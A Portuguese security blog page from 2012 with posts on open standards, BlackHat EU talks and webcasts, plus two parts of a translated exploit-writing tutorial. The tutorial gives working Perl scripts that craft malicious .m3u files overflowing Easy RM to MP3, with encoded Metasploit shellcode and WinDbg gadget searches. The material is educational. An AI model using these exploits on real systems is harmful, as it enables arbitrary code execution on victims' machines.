22 de março de 2012

Document Freedom Day 2012 - Rio de Janeiro - 28 de março


http://softwarelivre-rj.org/dfd2012/ 

Padrões abertos

Padrões Abertos são essenciais para a interoperabilidade e a liberdade de escolha com base nos méritos de aplicações de software diferentes. Evita que os dados sejam gravados em formatos fechados que obriguem a comprar sempre do mesmo fornecedor. Isso faz Padrões Abertos essencial para governos, empresas, organizações e usuários individuais da tecnologia da informação.

Definição

Com a finalidade do Dia da Liberdade dos Documentos, nossa compreensão do trabalho "normas abertas" é que a norma seja:
  1. pública sujeita a avaliação completa e uso sem restrições de uma forma igualmente disponíveis para todas as partes;
  2. sem quaisquer componentes ou extensões que tenham dependências em formatos e protocolos que não atendem à definição de um Padrão Aberto em si;
  3. livre de cláusulas legais ou técnicas que limitam a sua utilização por qualquer das partes ou em qualquer modelo de negócio;
  4. gerido e desenvolvido de forma independente de qualquer fornecedor em um processo aberto à participação igualitária dos concorrentes e de terceiros;
  5. disponível em múltiplas implementações completas por fornecedores concorrentes, ou como uma implementação completa igualmente disponíveis para todas as partes.

O que significa padrão aberto?

Efeitos visíveis de Padrões Abertos são os que você pode:
  • Escolher qualquer sistema operacional ou aplicativo e ainda ser capaz de ler e editar todos os seus documentos antigos.
  • Colaborar com outras pessoas, independentemente de qual software eles estão usando.
  • Usar qualquer software de sua escolha para interagir com o governo.
Os efeitos menos visíveis de Padrões Abertos são os que levam a uma maior concorrência no software, e mais eficazes soluções TI governamentais que evitar o custo de lock-in.

17 de março de 2012

Stack Buffer Overflow - Jumping to Shellcode - parte 2


Push return

Push ret é bem similar à call [reg]. Se um dos registradores estiver apontando diretamente para seu shellcode, e se por alguma razão você não possa utilizar um jmp [reg] para pular para o shellcode, então poderia
  • colocar o endereço desse registrador na stack. Isso iria para o topo da stack.
  • ret (que pegaria o endereço de volta para a stack e pularia para ele)
Para fazer isso funcionar, você precisa sobrescrever o EIP com o endereço de uma sequência push [reg]+ret em um das dll’s.

Supondo que o shellcode está localizado diretamente no ESP. Você precisa encontrar o opcode para ‘push esp’ e o opcode para ‘ret’ primeiro.

0:000> a
000ff7ae push esp
push esp
000ff7af ret
ret
 
0:000> u 000ff7ae
+0xff79d:
000ff7ae 54              push    esp
000ff7af c3              ret

opcode da sequência é  0×54,0xc3

Busque por esse opcode:

0:000> s 01a90000 l 01dff000 54 c3
01aa57f6  54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0  T..........D$...
01b31d88  54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c  T.....t]S.\$0W.L
01b5cd65  54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00  T...3...........
01b5cf2f  54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00  T..L$X.._^][d...
01b5cf44  54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04  T...............
01bbbb3e  54 c3 8b 4c 24 50 5e 33-c0 5b 64 89 0d 00 00 00  T..L$P^3.[d.....
01bbbb51  54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a  T..............j
01bf2aba  54 c3 0c 8b 74 24 20 39-32 73 09 40 83 c2 08 41  T...t$ 92s.@...A
01c0f6b4  54 c3 b8 0e 00 07 80 8b-4c 24 54 5e 5d 5b 64 89  T.......L$T^][d.
01c0f6cb  54 c3 90 90 90 64 a1 00-00 00 00 6a ff 68 3b 84  T....d.....j.h;.
01c692aa  54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54  T......D$..L$..T
01d35a40  54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8  T..=..8.z...R...
01d4daa7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d55edb  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d649c7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d73406  54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20  T..-..:........
01d74526  54 c3 da 4c 3b 43 11 e7-54 c3 cc 36 bb c3 f8 63  T..L;C..T..6...c
01d7452e  54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3  T..6...c;D...C..
01d74b26  54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d  T..c....wB8..B~.
031d3b18  54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff  T...T...O....l..
031d3b1c  54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff  T...O....l..0...

Crie seu exploit e execute:

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x01aa57f6); #sobrescreve EIP com push esp, ret
 
my $prependesp = "XXXX";  # adiciona 4 bytes e ESP aponta para o início do shellcode
 
my $shellcode = "\x90" x 25;   #inicia o shellcode com alguns NOPS
 
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
 
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso\n";


Owned novamente!


Jmp [reg]+[offset]

Outra técnica para resolver o problema de que o shellcode começa em um offset de um registrador (ESP em nosso exemplo) é tentando encontrar uma instrução jmp [reg + offset] (e sobrescrever EIP com o endereço daquela instrução). Vamos assumir que precisamos pular 8 bytes novamente (como no exercício anterior). Usando a técnica jmp reg+offset, simplesmente pularíamos sobre os 8 bytes no início do ESP e cairíamos diretamente em nosso shellcode.

Precisamos de 3 coisas:
  • Encontrar o opcode para jmp esp+8h
  • Encontrar um endereço que aponte para essa instrução
  • Criar o exploit que sobrescreva EIP com este endereço

Encontrando o opcode com o windbg:

0:014> a
7c90120e jmp [esp + 8]
jmp [esp + 8]
7c901212 
 
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ff642408        jmp     dword ptr [esp+8]

O opcode é ff642408

Agora poderá buscar por uma dll que tenha este opcode, e utilizar o endereço para sobrescrever EIP com o mesmo. Em nosso exemplo, não consegui encontrar esse opcode em lugar algum. Obviamente, você não está limitado a buscar jmp [esp+8]... pode procurar também por valores maiores que 8 (pois você controla qualquer coisa acima de 8... você pode colocar alguns NOP’s adicionais no início do shellcode e fazer o jump nos NOP’s). De qualquer forma, o opcode para ret é c3, mas estou certo de que já descobriu isso por conta própria J



Blind return

Esta técnica é baseada nos dois passos a seguir:

  • Sobrescrever EIP com um endereço apontando para uma instrução ret
  • Codificar o endereço do shellcode nos primeiros 4 bytes do ESP
  • Quando o ret é executado, os últimos 4 bytes adicionados (valores mais altos) são retirados da stack e colocados no EIP
  • Exploit pula para o shellcode

Desse modo essa técnica é útil se:

  • você não pode apontar EIP para ir para um registrador diretamente (por não poder usar instruções jmp ou call). Isso significa que você precisa codificar o endereço de memória do início do shellcode, mas
  • você não controla os dados em ESP (pelo menos os 4 primeiros bytes)
Para fazer isso, precisa ter o endereço de memória do shellcode (= endereço do ESP). Como sempre, tente evitar que este endereço inicie com, ou contenha, null bytes, ou que não seja capaz de carregar seu shellcode além do EIP. Se seu shellcode puder ser posto em um local, cujo endereço não contiver null bytes, então essa é outra técnica que pode funcionar.

Encontre o endereço de uma instrução ‘ret’ em uma das dll’s.

Configure os 4 primeiros bytes de seu shellcode (primeiros 4 bytes de ESP) para o endereço onde o shellcode começa, e sobrescreva EIP com o endereço da instrução ‘ret’. Dos testes que fizemos no primeiro tutorial, lembramos que ESP parece iniciar em 0x000ff730. Obviamente que esse endereço pode mudar em diferentes sistemas.

Este endereço contém null bytes, então quando construir o payload, criamos um buffer que se parece com isso:

[26094 A’s][endereço de ret][0x000fff730][shellcode]

O problema com esse exemplo é que o endereço utilizado para sobrescrever EIP contém um null byte (= terminador de string), assim o shellcode não é colocado no ESP. Isso é um problema, mas pode não ser um impedimento. Algumas vezes pode descobrir seu buffer (olhe os primeiros 26094 A’s, não aqueles após a sobrescrita do EIP, pois eles serão inutilizados por conta do null byte) atrás de outros locais/registradores, tais como eax, ebx, ecx, etc... Nesse caso, você pode tentar colocar o endereço desse registrador como os primeiros 4 bytes do shellcode (no início do ESP, diretamente após a sobrescrita do EIP), e ainda sobrescrever o EIP com o endereço de uma instrução ‘ret’.

Esta é uma técnica que possui uma série de requisitos e “poréns”, mas precisa apenas de uma instrução ‘ret’... De qualquer forma, ela não funciona no caso do Easy RM to MP3.



16 de março de 2012

Cobertura da BlackHat 2012 EU

Apesar da BlackHat USA ser mais conhecida e considerada como um "must" aqui no Brasil, isso não quer dizer que a edição européia seja menos interessante ou importante.

Por conta disso, tenho acompanhado a cobertura realizada pelo CorelanTeam em seu blog, e os assuntos são muito interessantes, como por exemplo:


  • Hacking XPath 2.0
  • A Sandbox Odyssey
  • FYI, You’ve got LFI
  • SSL/TLS Interception proxies and transitive trust
  • Attacking IPv6 implementation using fragmentation
  • Cyber-Attacks & SAP Systems : Is our business-critical infrastructure exposed ?
  • “Secure Password Managers” and “Military Grade Encryption” on Smartphones
  • Apple vs Google Client Platforms

Quem tiver interesse em ler os resumos de cada talk, acesse os links abaixo:

https://www.corelan.be/index.php/2012/03/14/blackhat-eu-2012-day-1/
https://www.corelan.be/index.php/2012/03/15/blackhat-eu-2012-day-2/
https://www.corelan.be/index.php/2012/03/16/blackhat-eu-2012-day-3/

Espero que gostem :-)

[ ]'s


Editado no dia 17/03/2012:
Já disponibilizaram os materiais para download em https://www.blackhat.com/html/bh-eu-12/bh-eu-12-archives.html

13 de março de 2012

Webcast "Segurança Física: Lockpicking"


A OYS Academy propõe-se a apresentar periodicamente, um webcast sobre temas na área de segurança da informação.

Serão 15 minutos com profissionais de segurança e software livre falando sobre um tema previamente escolhido e mais 15 minutos de perguntas e respostas, com questões levantadas pelos participantes no chat da sala virtual.

Inicialmente, teremos apenas 100 vagas para cada webcast. Portanto, sempre que um evento desse for anunciado, corra e inscreva-se, pois durante os webcasts serão anunciadas promoções e os participantes ganharão descontos em nossos cursos.

Atualmente, outro ponto importante que começa a ser pensado quando se fala de teste de invasão, é a segurança física. Por que não avaliarmos a segurança física de uma empresa quando também avaliamos sua segurança lógica? Pensando nisso, decidimos fazer um webcast sobre LOCKPICKING, e em breve teremos outro, sobre No-Tech Hacking, ambos temas são tipos de técnicas que visam avaliar o grau de segurança física que uma empresa possui.

Durante nosso webcast, apresentaremos as seguintes questões:

  • Importância da Segurança Física
  • Tipos de Fechaduras e Cadeados mais comuns
  • Funcionamento básico das fechaduras
  • Ferramentas de Lockpicking
  • Técnicas para abertura de fechaduras e cadeados


Inscreva-se pelo e-mail webcast@oys.com.br solicitando sua inscrição e enviando seu endereço de e-mail, data de nascimento e nome completo.

Após o envio do e-mail, você estará inscrito no evento, até o limite de 100 vagas. No dia do evento, 30 min. antes do início do mesmo, você receberá por e-mail o link para acessar a sala virtual.

Data: 19/03
Horário: 20h00 às 20h30

Apresentador: Luiz Vieira

6 de março de 2012

Webcast OYS - Vyatta


A OYS Academy propõe-se a apresentar periodicamente, um webcast sobre temas na área de segurança da informação.

Serão 15 minutos com profissionais de segurança e software livre falando sobre um tema previamente escolhido e mais 15 minutos de perguntas e respostas, com questões levantadas pelos participantes no chat da sala virtual.

Inicialmente, teremos apenas 100 vagas para cada webcast. Portanto, sempre que um evento desse for anunciado, corra e inscreva-se, pois durante os webcasts serão anunciadas promoções e os participantes ganharão descontos em nossos cursos.

Vyatta é uma distribuição Linux desenvolvida para funcionar como um 
roteador sofisticado com suporte a muitos recursos, alguns dos quais encontrados apenas nos mais sofisticados (e caros) equipamentos de rede comercializados por fabricantes como CISCO e Juniper. Trazendo uma poderosa interface de gerenciamento, o  Vyatta permite que complexas configurações de rede sejam realizadas através de poucos e simples comandos, ou ainda via Web.

Cada vez mais empresas estão descobrindo como podem obter uma grande economia ao optar pelo Vyatta instalado em hardware comum ao invés de caros equipamentos especializados vendidos por fabricantes comuns, com um desempenho igual ou superior. Não à toa, os fabricantes do Vyatta se declaram abertamente como concorrentes diretos da CISCO, a líder global em equipamentos de redes de computadores. Nesse webcast, você vai descobrir porque o Vyatta realmente tem condições de encarar essa poderosa concorrência. Os seguintes tópicos serão abordados:

1. O que é o Vyatta?
2. Por que usar Vyatta?
3. Como economizar dinheiro com o Vyatta.
4. Como fazer dinheiro com o Vyatta. 

Inscreva-se pelo e-mail webcast@oys.com.br solicitando sua inscrição e enviando seu endereço de e-mail, data de nascimento e nome completo.

Após o envio do e-mail, você estará inscrito no evento, até o limite de 100 vagas. No dia do evento, 30 min. antes do início do mesmo, você receberá por e-mail o link para acessar a sala virtual.

Data: 12/03
Horário: 20h00 às 20h30

Apresentador: Davidson Paulo

Em 2004 iniciou seu primeiro contato com o Linux e desde então passou a se dedicar a tornar-se um especialista nesse sistema operacional. Trabalhou como técnico e analista de suporte, analista middleware e analista de operações em grandes empresas do Rio de Janeiro e desde Outubro de 2011 dedica-se a seu próprio serviço de consultoria e treinamento individual em Linux. É certificado LPIC-1 e um dos principais autores do portal Viva o Linux e mantem o blog "Davidson Paulo, Especialista Linux", onde publica artigos técnicos sobre Linux e informações para quem deseja tornar-se um profissional especializado nessa área. Sua formação é em Engenharia Elétrica, curso que iniciou pela Universidade Federal de Mato Grosso e está concluindo pela Universidade Federal Fluminense.

2 de março de 2012

Stack Buffer Overflow - Jumping to Shellcode - parte 1

Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/

Essa nova série de artigos, divida em 3 partes, é baseada em uma série prévia, traduzida e adaptada a partir do material criado pelo CorelanTeam. Abaixo seguem os links dos artigos anteriores, e para seguir essa nova série, é necessário que tome conhecimento da série prévia:
http://hackproofing.blogspot.com/2011/04/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/05/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/06/escrevendo-um-exploit-para-stack.html

Agora vamos à nova série...


Para onde você quer pular (jmp) hoje ?

No tutorial anterior, expliquei sobre como descobrir uma vulnerabilidade e utilizar essa informação para construir um exploit funcional. No exemplo, vimos que ESP apontava quase que diretamente para o início de nosso buffer (precisamos apenas adicionar 4 bytes ao shellcode para fazer ESP apontar diretamente para o shellcode), e poderíamos utilizar um “jmp esp” para fazer o shellcode executar.

O fato de podermos utilizar um “jmp esp” foi um cenário quase perfeito. Nem sempre é tão fácil assim. Nesse tutorial vamos ver outras formas de executar nosso shellcode, e ver quais são as opções existentes caso se depare com buffers muito pequenos.

Há diversos métodos de forçar a execução de um shellcode.

Jump (or call) para um registrador que aponta para o shellcode. Com esta técnica, você basicamente utiliza um registrador que contém o endereço onde o shellcode está localizado e coloca esse endereço no EIP. Você tenta encontrar o opcode de um “jump” ou “call” para o registrador em uma das dll’s que esteja carregada quando a aplicação for executada. Quando criar seu payload, ao invés de sobrescrever o EIP com um endereço na memória, você precisa sobrescrever o EIP com o endereço do “jump para o registrador”. Obviamente que isso só funciona se um dos registradores disponíveis contiver um endereço que aponte para o shellcode. Foi dessa forma que fizemos com que nosso exploit funcionasse no primeiro tutorial, então não vamos entrar nesse assunto daqui por diante.

Pop return: se nenhum dos registradores apontar diretamente para o shellcode, mas você consegue enxergar um endereço na stack que aponta para o shellcode, então poderá carregar esse valor no EIP colocando um apontador para pop ret, ou pop pop ret, ou pop pop pop ret (tudo dependendo do local onde o endereço foi encontrado na stack) na EIP.

Push return: este método é pouco diferente da técnica que chamamos de “call register”. Se você não puder encontrar um opcode “jump register” ou “call register” em lugar algum, pode simplesmente colocar o endereço na stack e então fazer um ret. Então você basicamente tenta encontrar um push , seguido por um ret. Encontre o opcode para esta sequência, encontre um arquivo que performe esta sequência, e sobrescreva o EIP com este endereço.

Jmp [reg + offset]: Se houver um registrador que aponte para o buffer que contém o shellcode, mas não aponta para o início do shellcode, pode-se tentar encontrar uma instrução em uma DLL do S.O. ou de alguma aplicação, que adicionará os bytes necessários ao registrador e então pula para o registrador.

Blind return: no tutorial anterior foi explicado que o ESP aponta para a posição atual na pilha (por padrão). Uma instrução RET irá fazer um “pop” do último valor (4 bytes) da pilha e irá colocar esse endereço na ESP. Então, se você sobrescrever o EIP com o endereço que realiza uma instrução RET, você carregará o valor armazenado no ESP, dentro do EIP. Se você se deparar com uma situação em que o espaço disponível no buffer (após sobrescrever o EIP) seja limitado, mas tiver uma boa quantidade de espaço antes de sobrescrever o EIP, então poderá utilizar “jump code” no buffer menor para pular para o shellcode principal na primeira parte do buffer.

SEH: Toda aplicação possui um manipulador padrão de exceção (default exception handler) que é disponibilizado pelo S.O. Então, mesmo se a aplicação não utilizar por si mesma um manipulador de exceções, você pode tentar sobrescrever o manipulador SEH com seu próprio endereço e fazê-lo pular para seu shellcode. Utilizando o SEH é possível fazer um exploit mais confiável em várias plataformas Windows, mas são necessárias algumas explicações a mais antes que possa começar a abusar do SEH para escrever exploits. A idéia por detrás disso é que se você construir um exploit que não funcione em um determinado S.O., então o payload pode apenas gerar um crash na aplicação (e fazer o triggering de uma exceção). Então se você puder combinar um exploit “normal” com um exploit baseado em seh, então você terá criado um exploit mais confiável. De qualquer forma, o próximo tutorial lidará especificamente com SEH. Apenas lembre que um típico stack buffer overflow, onde sobrescrevemos o EIP, pode ser potencialmente sujeito à técnica de exploits baseados em SEH também, dando-lhe mais estabilidade, um buffer de tamanho maior.

As técnicas explicadas neste tutorial são apenas exmplos. O objetivo do mesmo é explicar que podem haver vários para pular para seu shellcode, e em outros casos pode haver apenas uma forma (e pode requerer uma combinação de técnicas) para fazer com que seu código arbitrário seja executado.

Podem haver muitos outros métodos para afzer um exploit funcionar e de forma confiável, mas se você dominar aqueles listados aqui, e utilizar o senso comum, poderá encontrar uma forma para resolver a maioria dos problemas quando estiver tentando fazer com que um exploit pule para seu shellcode. Mesmo se uma técnica pareça funcionar, mas o shellcode não execute, você pode brincar com encoders de shellcode, move o shellcode uns poucos bits para frente e colocar alguns NOP’s antes do shellcode... há várias coisas que podem ajudar seu exploit funcionar.

Obviamente que é perfeitamente possível que uma vulnerabilidade apenas leve à um crash, e nunca seja explorada.

Vamos dar uma olhada na implementação prática de algumas das técnicas listadas acima.


call [reg]

Se um registro é carregado com um endereço que aponte diretamente para o shellcode, então você pode fazer um call [reg] para pular diretamente para o shellcode. Em outras palavras, se ESP aponta diretamente para o shellcode (então o primeiro byte do ESP é o primeiro byte de seu shellcode), então você pode sobrescrever o EIP com o endereço de “call esp”, e o shellcode será executado. Isso funciona com todos os registradores e é bem popular porque o kernel32.dll contém diversos endereços call [reg].

Exemplo: assumindo que ESP aponta para o shellcode: primeiro, procure por um endereço que contenha o opcode ‘call esp’. Vamos utilizar o findjmp:

findjmp.exe kernel32.dll esp
 
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08      call esp
0x7C874413      jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses

Depois, escreva o exploit e sobrescreva o EIP com 0x7C836A08.

A partir do exemplo do Easy RM to MP3, no tutorial anterior, sabemos que podemos apontar ESP no início de nosso shellcode adicionando 4 caracteres entre o local onde EIP foi sobrescrito e ESP. Um exploit padrão pareceria com o que está abaixo:

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x7C836A08); #sobrescreve EIP com call esp
 
my $prependesp = "XXXX";  #adiciona 4 bytes e assim o ESP aponta para os bytes iniciais do shellcode
 
my $shellcode = "\x90" x 25;   #inicia o shellcode com alguns NOPS
 
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
 
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";


pop ret

Como explicado acima, no exemplo do Easy RM to MP3, fomos capazes de manipular nosso buffer para que ESP apontasse diretamente para nosso shellcode. O que fazer quando não houver registradores que apontem para nosso shellcode?

Bem, nesse caso, um endereço apontando para o shellcode pode existir na stack. Se fizer um dump do esp, verifique os primeiros endereços. Se um desses endereços apontar para seu shellcode (ou um buffer que você controla), então poderá encontrar um pop ret ou pop pop ret (nada a ver com exploits baseados em SEH aqui) para:

  • Pegar endereços da stack (e sair dos mesmos)
  • Pular para endereços que trariam para você o shellcode.

A técnica de pop ret obviamente é utilizável apenas quando ESP+offset já contém um endereço que aponta para o shellcode... Então faça um dump do esp, veja se um dos primeiros endereços aponta para o shellcode, e coloque uma referência à pop ret (ou pop pop ret ou pop pop pop ret) no EIP. Isso irá retornar algum endereço da stack (um endereço para cada pop) e colocará o próximo endereço no EIP. Se algum deles apontar para o shellcode, então você terá vencido.

Há um segundo uso para o pop ret: o que fazer se você controla o EIP, nenhum registrador aponta para o shellcode, mas seu shellcode pode ser encontrado em ESP+8: Nesse caso, você pode colocar um pop pop ret no EIP, que irá pular para ESP+8. Se você colocar um apontador para jmp esp neste local, então irá pular para o shellcode que está localizado logo após o apontador jmp esp.

Vamos fazer um teste. Sabemos que precisamos de 26094 bytes antes de sobrescrever o EIP, e que precisamos de mais 4 bytes antes de chegarmos no endereço da stack para onde o ESP aponta ( no meu caso, o endereço é 0x000ff730).

Simularemos que em ESP+8, temos um endereço que aponta para o shellcode.

26094 A’s, 4 XXXX’s, um break, 7 NOP’s, um break, e mais NOP’s. Pretendemos que o shellcode comece no segundo break. O objetivo é fazer um jump no primeiro break, direto para o segundo break (que está em ESP+8 bytes = 0x000ff738).

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #sobrescreve EIP
my $prependesp = "XXXX";  #adiciona 4 bytes para que o ESP aponte para os bytes iniciais do shellcode
my $shellcode = "\xcc"; #primeiro break
$shellcode = $shellcode . "\x90" x 7;  #adiciona mais 7 bytes
$shellcode = $shellcode . "\xcc"; #segundo break
$shellcode = $shellcode . "\x90" x 500;  #shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";

Vamos olhar a stack...

A aplicação trava por conta do estouro de buffer. Nós sobrescrevemos EIP com “BBBB”. ESP aponta para 000ff730 (que começa com o primeiro break), então 7 NOP’s, e então vemos o segundo break, que está na verdade no início de nosso shellcode (que está no endereço 0x000ff738).

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90  ................
000ff740  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff760  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
 
0:000> d 000ff738
000ff738  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff748  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff758  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff768  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff778  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff788  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff798  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

O objetivo é obter o valor de ESP+8 no EIP (e manipular este valor para que pule para o shellcode). Utilizaremos a técnica pop ret + endereço do jmp esp para conseguir isso. Uma instrução POP pegará 4 bytes do topo da stack. Assim o stack pointer apontaria para 000ff734. Executando outra instrução pop tomaríamos mais 4 bytes do topo da stack. ESP então apontaria para 000ff738. Quando uma instrução “ret” é executada, o valor no endereço atual de ESP é colocado no EIP. Assim se o valor de 000ff738 contém o endereço de uma instrução jmp esp, então este é o que EIP também conteria. O buffer após 000ff738 deve conter nosso shellcode. Precisamos encontrar a sequência de instruções pop, pop, ret em algum lugar, e sobrescrever o EIP com o endereço da primeira parte da sequência de instruções, e devemos configurar ESP+8 para o endereço de jmp esp, seguido pelo shellcode.

Em primeiro lugar, precisamos saber o opcode para pop pop ret. Utilizaremos a funcionalidade assemble no windbg para obter os opcodes:

0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211 
 
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58              pop     eax
7c90120f 5d              pop     ebp
7c901210 c3              ret
7c901211 ffcc            dec     esp
7c901213 c3              ret
7c901214 8bff            mov     edi,edi
